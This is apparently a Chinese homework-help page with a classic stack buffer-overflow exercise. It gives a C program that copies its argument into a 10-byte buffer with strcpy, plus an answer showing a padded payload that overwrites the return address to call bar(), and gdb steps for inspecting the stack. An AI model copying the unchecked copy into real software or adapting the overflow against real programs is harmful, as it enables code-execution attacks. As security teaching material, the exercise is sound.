第一题:对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }
时间: 2023-11-29 07:05:30 浏览: 28
这是一道典型的栈溢出漏洞题目。我们需要构造一个特殊的输入,让程序在执行foo函数时发生栈溢出,从而达到执行bar函数的目的。
首先,我们需要了解程序中的漏洞点:foo函数中的strcpy函数没有对输入参数做边界检查,当输入参数长度超过buf数组的长度时,就会发生栈溢出。因此,我们需要构造一个长度大于10的字符串作为输入参数。
其次,我们需要知道bar函数的地址,以便在栈溢出时将程序控制流转移到bar函数。我们可以在程序运行时,通过打印foo和bar函数的地址来获取bar函数的地址,如下所示:
```
$ ./program
Address of foo=0x80484f4
Address of bar=0x804851b
```
最后,我们可以构造以下输入参数,其中包含bar函数的地址,以及一些无意义的填充字符:
```
$ ./program $(python -c 'print "A"*14 + "\x1b\x85\x04\x08"')
```
其中,"\x1b\x85\x04\x08"是bar函数的地址,它需要以little-endian的形式进行输入。我们还需要在输入参数前面添加14个"A"字符,使得输入参数的长度大于buf数组的长度10。
接下来,我们可以在gdb中调试程序,观察栈的变化,以及程序控制流的转移情况。具体步骤如下:
1. 启动gdb,并设置断点:
```
$ gdb program
(gdb) break foo
```
2. 运行程序,并输入构造好的输入参数:
```
(gdb) run $(python -c 'print "A"*14 + "\x1b\x85\x04\x08"')
```
3. 在 foo 函数中打印栈的内容,以便观察是否发生了栈溢出:
```
(gdb) print $ebp
(gdb) x/20x $esp
```
如果发现在栈上的输入参数后面出现了 bar 函数的地址,那么说明我们构造的输入参数已经成功地触发了栈溢出漏洞,并且程序控制流已经被转移到了 bar 函数。